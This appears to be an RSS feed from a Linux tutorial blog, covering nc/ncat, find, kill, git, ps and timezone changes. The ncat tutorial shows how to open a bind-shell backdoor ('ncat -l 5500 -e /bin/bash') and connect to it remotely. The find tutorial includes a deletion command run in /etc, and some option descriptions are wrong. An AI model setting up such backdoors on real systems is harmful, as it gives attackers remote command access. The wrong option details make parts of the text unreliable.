commands Archives - The Linux GURUS https://thelinuxgurus.com/tag/commands/ Learn Linux & DevOPS from THE LINUX GURUS Wed, 24 Mar 2021 15:58:49 +0000 en-US hourly 1 https://i0.wp.com/thelinuxgurus.com/wp-content/uploads/2020/01/cropped-thelinuxgurus_transparent_name.png?fit=32%2C32&ssl=1 commands Archives - The Linux GURUS https://thelinuxgurus.com/tag/commands/ 32 32 148921671 Informative guide to NC (Ncat) command in Linux https://thelinuxgurus.com/informative-guide-to-nc-ncat-command-in-linux/ https://thelinuxgurus.com/informative-guide-to-nc-ncat-command-in-linux/#respond Wed, 24 Mar 2021 15:58:49 +0000 https://thelinuxgurus.com/?p=1353 Ncat command in Linux or NC command is used in the maintenance or diagnosis-related tasks for a network. Even though the ‘nc command’ or ‘ncat...

The post Informative guide to NC (Ncat) command in Linux appeared first on The Linux GURUS.

]]>
Ncat command in Linux or NC command is used in the maintenance or diagnosis-related tasks for a network. Even though the ‘nc command’ or ‘ncat command’ are separate commands but they are similar to how they perform their functions & one can be used or replace by the other.

Similar to how CAT common in Linux has the ability to manipulate files, NC command in Linux has the ability to perform operations like read, write, or data redirections over the network. 

Ncat command can be used as a utility to scan ports, monitoring or can also act as a basic TCP proxy. Organizations can utilize it to review the security of their networks, web servers, telnet servers, mail servers, etc, by checking the ports that are opened or unsecured and then secure them. NC command can also be used to capture information being sent by the system.

Recommended Read:  How to use NMAP command to test Server/Network Security

Also Read: How to use FIND command in Linux

First, let’s discuss how we can install NC command or Ncat command on Linux systems.

Install NC command on CentOS

To install the nc command on Centos, simply run the following command,

# yum install nc

 

Install NC on Ubuntu

Similar to CentOS, the nc command in Ubuntu can be installed with a single command,

$ sudo apt install netcat

Now if you also want to know how to install the ncat command in CentOS & Ubuntu, then here are the commands.

 

Install Ncat command on CentOS or RHEL

Ncat command in CentOS or RHEL is part of the NMAP command. So to install the ncat command on Centos, run the following command,

# yum install nmap

 

Install Ncat on Ubuntu

To install Ncat command in Ubuntu,

$ sudo apt install ncat

Now let’s discuss how we can use (NCAT command) NC command in Linux with the help of some examples.


Examples for NC command/Ncat command


Connect to a remote server

The following example shows how we can connect to a remote server with NC command,

$ nc 172.16.16.100 80

Or

$ ncat 172.16.16.100 80

here, 172.16.16.100 is the IP of the server we want to connect to & 80 is the port number for the remote server. 

Once the nc command has created the connection, we can then perform some other functions like we can get the  page content with

GET/HTTP/1.1

or fetch page name,

GET/HTTP/1.1

or we can get the banner for OS fingerprinting with the following,

HEAD/HTTP/1.1

This will tell us about the application & version being used to run the webserver.

 

Listen to inbound connection requests on a port

To use the ncat command in Linux to check for an incoming connection on a port number following example can be referenced,

$ nc -l 80

or 

$ ncat -l 80

This will put NC in listening mode, & it will check port 80 for incoming connection requests. Listening mode will keep on running until terminated manually. 

If we only need to run listening mode for a given amount of time, we can use option ‘w’ for that,

$ nc -w 20 80

or 

$ ncat -w 20 80

here, 20 means the listening mode is active on port 80 & will check connections for 20 seconds only.

 

Connecting to UDP ports

Nc command makes TCP ports connections by default. For NC command to make connections to UDP ports, use the option ‘u’,

$ nc -l -u 55

or 

$ ncat -l -u 55

Here, we are connecting to UDP port 55 in listening mode.

 

Using NC for Port forwarding

Another use for the NC command in Linux is that we can also use it for port forwarding. Using option ‘c’ with the nc command, we can redirect a port to another. An example would be,

$ nc -u -l 80 -c ‘ nc -u -l 90’

or 

$ ncat -u -l 80 -c ‘ nc -u -l 90’

here, all incoming connections from port 80 are being forwarded to port 90.

 

Using NC as a Proxy server

Nc command can also act as a proxy server. To use the NC command as a proxy, use

$ nc – l 80 | nc 172.16.16.200 80

or 

$ ncat – l 80 | nc 172.16.16.200 80

here, all incoming connections to port 8080 on localhost are being redirected to the 172.16.16.200 server on port 80, as we do with the help of a proxy server.  But this proxy is currently only one way, i.e. it will send the connections to the remote server but can not receive any packets in response.

 To create a return passage or 2-way communication channel, use the following commands,

$ mkfifo 2way

$ nc – l 80 0<2way | nc 172.16.16.200 80 1>2way

We now have a fully working 2-way proxy server using the ncat command.

 

Using NC as a chat tool

Another way to make use of the NC command is using it as a chat tool. Weird but it’s possible. To create a chat tool using the nc command, first, start it in listening mode,

$ nc – l 8080

or 

$ ncat – l 8080

Then from the remote machine, connect to the first server that is listening to port 8080,

$ nc 172.16.16.100 8080

or 

$ ncat 172.16.16.100 8080

That’s it, you have a working chat tool on your hand. Now we can start a conversation using the terminal/CLI.

nc command in linux

 

Using Ncat to create a system backdoor

Note: This will only work with the ncat command.

One of the most common ways that the ncat command in Linux is used for bad is by using it to create a backdoor. Nc command is used to create a backdoor to our system which can be exploited by hackers (I am mentioning this just for information & so that you can safeguard against these kinds of attacks. You guys should not be using it for wrong purposes, it’s completely wrong, unethical & not to mention can be illegal as well).

To create a backdoor,

$ ncat -l 5500 -e /bin/bash

here, we have attached port 5500 to /bin/bash, which can now be connected from a remote machine to execute the commands,

$ ncat 172.16.16.100 5500

As seen in the screenshot above, I created a backdoor on one tab & then on the second tab I connected to that backdoor & was able to run some commands like ‘date’, ‘df -h’ etc. You can run other commands as well & consider if this backdoor is created as the root user, hackers will have complete access to your system. 

ncat command in linux

Force server to remain up

The server will stop listening for connection once a client connection has been terminated. But with option ‘k’, we can force a server to remain running, even when no client is connected.

$ nc -l -k 8080

These were only some examples of how to use the nc command or ncat command in Linux. There are certainly more ways to use this, GOOD as well as BAD. So use wisely.

If you have any questions or queries regarding the tutorial, please do let us know using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post Informative guide to NC (Ncat) command in Linux appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/informative-guide-to-nc-ncat-command-in-linux/feed/ 0 1353
How to use FIND command in Linux https://thelinuxgurus.com/how-to-use-find-command-in-linux/ https://thelinuxgurus.com/how-to-use-find-command-in-linux/#respond Tue, 16 Mar 2021 15:13:07 +0000 https://thelinuxgurus.com/?p=1333 In this tutorial on how to use the ‘Find command’ in Linux, we will discuss in brief what is find command & will also discuss...

The post How to use FIND command in Linux appeared first on The Linux GURUS.

]]>
In this tutorial on how to use the ‘Find command’ in Linux, we will discuss in brief what is find command & will also discuss some examples for the same. 

Find command is a pretty useful command for easily locating files & folders in Linux. What makes it a powerful command is that we can use a number of search criteria/options to refine the search.  

It can be found & used on almost all Linux distros by default.

Recommended Read: How to use NMAP command to test Server/Network Security

Also Read: How to create a free SSL certificate using Let’s Encrypt in Linux


Syntax for using Find command

To use the find command, the basic syntax is:-

# find  location search-criteria  search-term

Now that we have some understanding of what the find command is & how to use the find command in Linux. Let’s discuss some examples as well,


Examples of the FIND command in Linux

 

Finding files on the system

To find all the files in the ‘/’ folder i.e. root directory, use,

# find / -type f

To search for the file in a particular directory, use,

# find /etc/ -type f

 

Finding directories on the system

To find all the folders/directories in the ‘/’ folder i.e. root directory, use,

# find / -type d

To look for all the directories in a particular directory, use,

# find /etc/ -type d

 

Finding files based on the name

If you know the name of the file or folder you are looking for, then you can also use that to make search easy & fast with the following command,

# find /etc -iname “*.txt”

This shows all the files in the /etc folder with extension .txt. One thing to consider here is that it will ignore a case-sensitive file. It will show all the files ending with .txt but will ignore files ending with .TXT or .Txt. 

To include all such files as well, we can use ‘-name’ instead of ‘-iname’, for example,

# find /etc -name “*.txt”

 

Invertive name search

Find command can also be used to exclude some files & only show the remaining files, use,

# find /etc -not -name “*.txt”

above command will list all the files & directories that do not have extension “.txt” at the end.

 

Finding files/directories with size

With the find command, we can also find files based on the file sizes. Use the following example as reference,

# find /etc -type f -size 2M

This will show all the files in the /etc folder with the size of 2 Megabytes.

 

Combining search criteria

We can also combine more than one search option to produce a more refined search,

# find /etc -name ‘test*’ ! -name ‘*.php’

here, it will find all the files with the name ‘test’ at the start in ‘/etc’ folder which does not have extension .php. “!” here is the equivalent of AND operator.

Also, we can combine two search criteria & produce results when any of the two search criteria are satisfied.

# find /etc -name ‘test*’ -o -name ‘*.txt’

Here “-o” is equivalent to OR operator.

Search based on file permissions

To find files based on their permissions, use, 

# find /etc -type f -perm 0400

This will show all the files in the /etc folder with the permission of 0644.

# find /etc -type f -perm /u=r

The result for the above command will show all files for a user with only read permissions.

 

Finding files with user & group ownership

Similar to how we can locate files with particular permissions, we can also use find command to locate files with a particular owner, 

# find / -user dan

Here, we are locating all the files that are created by user ‘dan’. Similarly, we can also search for files or folders that are owned by a group by replacing -user with -group.

# find / -group dan

 

Finding files based on their modification time, Access time & Change time

# find / -mtime 10

It will find all the files that were modified in the last 10 days. Replace mtime with -atime to find all the files that were accessed in the last 10 days.

# find / -cmin -60 

It will find all the files that were changed in the last 60 minutes.

# find / -mmin -60 

It will find all the files modified in the last 60 minutes.

# find / -amin -60 

It will find all the files accessed in the last 60 minutes.

 

Listing all the found files

To get all files and present them in order as ‘ls command’ would, use,

# find . -exec ls -ld {} \;

This will show all the files in output as would be shown by ls command.

 

Finding & deleting the found files

We can also combine some options to locate files & then can also perform an operation to delete them, all in a single command,

# find /etc -type f -name *.txt -size -1M -exec rm -f {} \;

This command will find all the files with .txt as an extension with a size of less than 1 Megabyte & will execute the rm/delete command on found files.

 

Getting Help

Like with any other Linux command, we can also take help from the OS documentation to get more detailed information about the command. Use,

# find –help

how to use find command in linux

With this, we complete our tutorial on how to use the FIND command in Linux.  These are only some examples, certainly, there are plenty of ways that you can use the find command to get what you need. If you run into any issues or have any questions, please do send us using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post How to use FIND command in Linux appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/how-to-use-find-command-in-linux/feed/ 0 1333
Learn to use KILL COMMAND in Linux https://thelinuxgurus.com/learn-to-use-kill-command-in-linux/ https://thelinuxgurus.com/learn-to-use-kill-command-in-linux/#respond Tue, 16 Jun 2020 06:51:20 +0000 https://thelinuxgurus.com/?p=981 At one time or another, you must have faced the problems with Linux processes, either process are stuck or are unresponsive completely. Some of the...

The post Learn to use KILL COMMAND in Linux appeared first on The Linux GURUS.

]]>
At one time or another, you must have faced the problems with Linux processes, either process are stuck or are unresponsive completely. Some of the time the process restart also does not work & the only thing that can be done is terminating the process completely, that’s where the kill command comes in handy.

Recommended Read: How to change timezone in Linux

Also Read: Examples on how to use PS COMMAND in Linux

There are many other commands as well that can perform the same operation but kill command is most popular & widely used. Let’s see the syntax for using kill command,

Syntax

# kill -signal pid(process_id)

It provides a lot of options i.e. signal to handle the processes. Let’s discuss a little more about kill command with the help of some examples.


Examples

List all the kill signals available

Kill has a lot of signals available to manage the running or stuck processes & we should know how to check & use them. To get the complete list of all kill signals, the command is

# kill -l

kill command

So there are 63 signals that we can use with kill command but most of them are not used at all. The mostly used signals are,

  • 1 (HUP) – Reload a process

  • 9 (KILL) – Kill a process

  • 15 (TERM) – Gracefully stop the process


Stop a process

To stop a process, we must know the process id which can be obtained by using the ps command,

# ps -ef | grep haproxy

Or you can also use another command to get the process id,

# pidof haproxy

Once you have the process id, we can use it to terminate/reload or gracefully stop the process. You can use the kill command the following 3 ways,

# kill -9 pid

# kill -SIGKILL pid

# kill -KILL pid

You can either use the signal number, signal name or signal name without SIG.


Reload a process

With kill command, we can also reload the process, again we would first need the process id first. We can then use the following command to reload the process,

# kill -1 pid

# kill -SIGHUP pid

# kill -HUP pid

We can use either of the three commands.


Gracefully stop a process

To gracefully stop a process, we can use the either of the following commands,

# kill -15 pid

# kill -SIGTERM pid

# kill -TERM pid

We end this tutorial on how to use kill in Linux. Please do let us know if you have any questions, queries or suggestions using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post Learn to use KILL COMMAND in Linux appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/learn-to-use-kill-command-in-linux/feed/ 0 981
Complete guide on Git Commands for Beginners https://thelinuxgurus.com/complete-guide-on-git-commands-for-beginners/ https://thelinuxgurus.com/complete-guide-on-git-commands-for-beginners/#comments Thu, 06 Feb 2020 07:56:24 +0000 https://thelinuxgurus.com/?p=1099 We have already discussed how to install Git on Ubuntu & on CentOS/RHEL. We should aware of how to use git to complete our intended...

The post Complete guide on Git Commands for Beginners appeared first on The Linux GURUS.

]]>
We have already discussed how to install Git on Ubuntu & on CentOS/RHEL. We should aware of how to use git to complete our intended function. In this tutorial, we will discuss the git commands that you should be aware to use git.

Recommended Read: Conda Commands cheat sheet for Beginners

Also Read: Complete guide to install PyCharm on Ubuntu

GIT Commands for Beginners


Setting user information (git config)

This should be your step after you have installed git on your system. We need to add user information (user name & email), for tracking purposes of git. To add information about the user, the command is ‘git config’

$ git config –global user.name “Prince”
$ git config –global user.email “prince@thelinuxgurus.com”

To check the entered information, use

$ git config –list

Now let’s discuss other git commands.


Create a new repository (git init)

To create a new repository, the command is

$ git init


Search a repository (git grep)

To search a repository, the command is

$ git grep “repository”


Connect to a remote repository (git remote)

To connect to a remote repository, the command is

$ git remote add origin remote_server

Then to check all the configured remote server,

$ git remote -v


Clone a repository (git clone)

To clone a repository from a local server, run the following commands

$ git clone repository_path

If we want to clone a repository located at a remote server, the command would be

$ git clone username@server:/repository_path


List Branches in the repository (git branch)

To check the list of all available & the current working branch, execute

$ git branch


Create a new branch (git checkout)

To create & use a new branch, the command is

$ git checkout -b ‘branch-name’


Deleting a branch (git branch)

To delete a branch, execute

$ git branch -d ‘branch-name’

If required to delete a branch on a remote repository, execute

$ git push origin:’branch-name’


Switch to another branch (git checkout)

To switch to another branch from the current branch, use

$ git checkout ‘branch-name’


Adding files to commit (git add)

To add a file to the repo, run

$ git add filename


Status of files (git status)

To check the status of files i.e. files that are to be committed or that are to be added, run

$ git status


Commit the changes (git commit)

After we have added a file or made changes to one, we will commit the code by running,

$ git commit -a

To commit changes to head and not to the remote repository, the command is

$ git commit -m “message”


Push changes (git push)

To push changes made to the master branch of the repository, run

$ git push origin master


Push the branch to the repository (git push)

To push the changes made on a single branch to the remote repository, run

$ git push origin ‘branch-name’

To push all branches to the remote repository, run

$ git push –all origin


Merge two branches (git merge)

To merge another branch into the current active branch, use

$ git merge ‘branch-name’


Merge from remote to the local server (git pull)

To download/pull changes to the working directory on local server from the remote server, run

$ git pull


Checking merge conflicts (git diff)

To view merge conflicts against the base file, run

$ git diff –base ‘filename’

To see all the conflicts, run

$ git diff

If we want to preview all the changes before merging, execute

$ git diff ‘source-branch’ ‘target-branch’


Creating tags (git tag)

To create tags to mark any significant changes, run

$ git tag ‘tag number’ ‘commit id’

We can find commit id by running,

$ git log


Push tags (git push)

To push all the created tags to the remote server, run

$ git push –tags origin


Revert changes made

If we want to replace changes made on the current working tree with the last changes in the head, run

$ git checkout –‘filename’

We can also fetch the latest history from remote server & point it local repository’s master branch, rather than dropping all local changes made. To do this, run

$ git fetch origin

$ git reset –hard master

These were some of the git commands that are used regularly & should be able to get you started with using git. That’s all we have for this tutorial, please do send in any questions, queries or suggestions using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post Complete guide on Git Commands for Beginners appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/complete-guide-on-git-commands-for-beginners/feed/ 1 1099
Examples on how to use PS COMMAND in Linux https://thelinuxgurus.com/examples-on-how-to-use-ps-command-in-linux/ https://thelinuxgurus.com/examples-on-how-to-use-ps-command-in-linux/#respond Thu, 16 Jan 2020 14:01:52 +0000 https://thelinuxgurus.com/?p=977 Linux has a number of processes running together without them being interfering with each other. So in order to administer a Linux system, we should...

The post Examples on how to use PS COMMAND in Linux appeared first on The Linux GURUS.

]]>
Linux has a number of processes running together without them being interfering with each other. So in order to administer a Linux system, we should also know how to effectively manage the Linux processes. There are many commands that help us accomplish that but none is as popular & widely used as ‘ps’.

PS command, ‘process status’, is used for checking & managing all the Linux processes. PS command in linux lists out all the processes that are currently running on the system. It will provide a list of processes along with their PIDs & some other information about processes as well.

Recommended Read: How to change timezone in Linux

Also Read: Install EPEL repository on CentOS/RHEL 6, 7 & 8

Information about the processes is stored in virtual files in /proc, ps command process information from these files & provides us with the process information. In this tutorial, we will learn to use the ps command with the help of some examples.


PS command in Linux

List all processes

To get a list of all processes, use

# ps

The results will have process information in 4 columns i.e. PID- process id, TTY- terminal for user, TIME- time since the process is running, CMD- the command that launched the process.

# ps -A

# ps -e

These are other commands to get a list of all processes. To perform a full-listing of process, use

# ps -ef


Get information for a specific process

To get information about a single process, we can filter the process with ‘grep’ command,

# ps -ef | grep nagios


Get process information for the current user

To get the list of processes running under the currently logged in user, use

# ps -x


Get process information for another user

To get the list of processes running under another user, we can use the option ‘U’ with ps command,

# ps -U user_name

Or we can also mention the UID/user id instead of the user name,

# ps -U 566


Get process information for a group

To the processes running under a group, we can use option ‘G’ followed by either group name or group id,

# ps -G influxdb

# ps -G 493


Get parent & child processes

To get list of all parent & child processes, use the following command,

$ ps -C haproxy


Display processes running on a terminal

To get the list of all processes that are running on a particular terminal, we can use the following command,

# ps -t tty2


Custom output for process command

If we only need some of the fields from the output of ps command, then we can use option ‘o’ to do so,

# ps -Ao pid,cmd,user,etime

Now we will only get pid, cmd, user & etime in the output of ps command.

These were some of the examples for using ps command in Linux. There are plenty of other options that can be used with ps command also, to get the complete list of options available, we can use help,

# ps –help

We now end this tutorial on how to use ps command in Linux. Please do let us know if you have any questions, queries or suggestions using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post Examples on how to use PS COMMAND in Linux appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/examples-on-how-to-use-ps-command-in-linux/feed/ 0 977
How to change timezone in Linux https://thelinuxgurus.com/how-to-change-timezone-in-linux/ https://thelinuxgurus.com/how-to-change-timezone-in-linux/#respond Thu, 16 Jan 2020 13:43:44 +0000 https://thelinuxgurus.com/?p=967 When we install any Linux distribution, we can provide a timezone & time will be served based on that timezone. But we can also change...

The post How to change timezone in Linux appeared first on The Linux GURUS.

]]>
When we install any Linux distribution, we can provide a timezone & time will be served based on that timezone. But we can also change the timezone once we have installed the operating system. In this tutorial, we are going to discuss how to change the timezone in Linux using command line.

Recommended Read: Introduction to Bash Scripting Tutorial

Also Read: Important PostgreSQL commands that every beginner should know

There are different methods to change timezone in Linux based Linux distribution being used. Let’s start the tutorial with CentOS/RHEL.


Change timezone in Linux (CentOS/RHEL)

Timezone in CentOS, Redhat & other RHEL based OS like amazon Linux, Oracle Linux, Scientific Linux is maintained by the file ‘/etc/localtime’. Files for all timezones are stored at location ‘/usr/share/zoneinfo/’.

So in order to change timezone in Linux, we first need to remove the file ‘/etc/localtime’ & create a soft link to the timezone file in ‘/usr/share/zoneinfo/’. To see the current timezone file associated with /etc/localtime, use the following command,

# ls -l /etc/localtime

change timezone in Linux

Next, we can check all the timezone available to use,

# ls /usr/share/zoneinfo/

Let’s check all the timezones that are available in Asia,

# ls /usr/share/zoneinfo/Asia

change timezone in Linux

Of these mentioned timezones, we will be switching from Jakarta to Kolkata. So we will start by removing the current localtime file,

# rm /etc/localtime

Next, we need to create a soft link to required time zone i.e. Asia/Kolkata,

# ln -s /usr/share/zoneinfo/Asia/Kolkata /etc/localtime

That’s it, we can now check the time on the timezone using ‘date’ command.


Change timezone in Linux (Ubuntu/Debian)

For Debian & Ubuntu-based Linux system, the process is a bit different than the RHEL based systems. For Ubuntu & Debian, timezone is controlled by the file ‘/etc/timezone’. To check the current timezone, we can use the following command,

# cat /etc/timezone

Asia/Jakarta

Now to change the timezone we have to edit the file & mention the required timezone,

# vi /etc/timezone

Asia/Kolkata

That’s it, our timezone will be updated. We can also set the timezone using the environment variable named ‘TZ’,

# export TZ=Asia/Kolkata

We now end this tutorial on how to change timezone in Linux. Please do send us your suggestions, queries, questions using the comment box below.

If you think we have helped you or just want to support us, please consider these:-

Connect to us: Facebook | Twitter | Linkedin

TheLinuxGURUS are thankful for your continued support.

The post How to change timezone in Linux appeared first on The Linux GURUS.

]]>
https://thelinuxgurus.com/how-to-change-timezone-in-linux/feed/ 0 967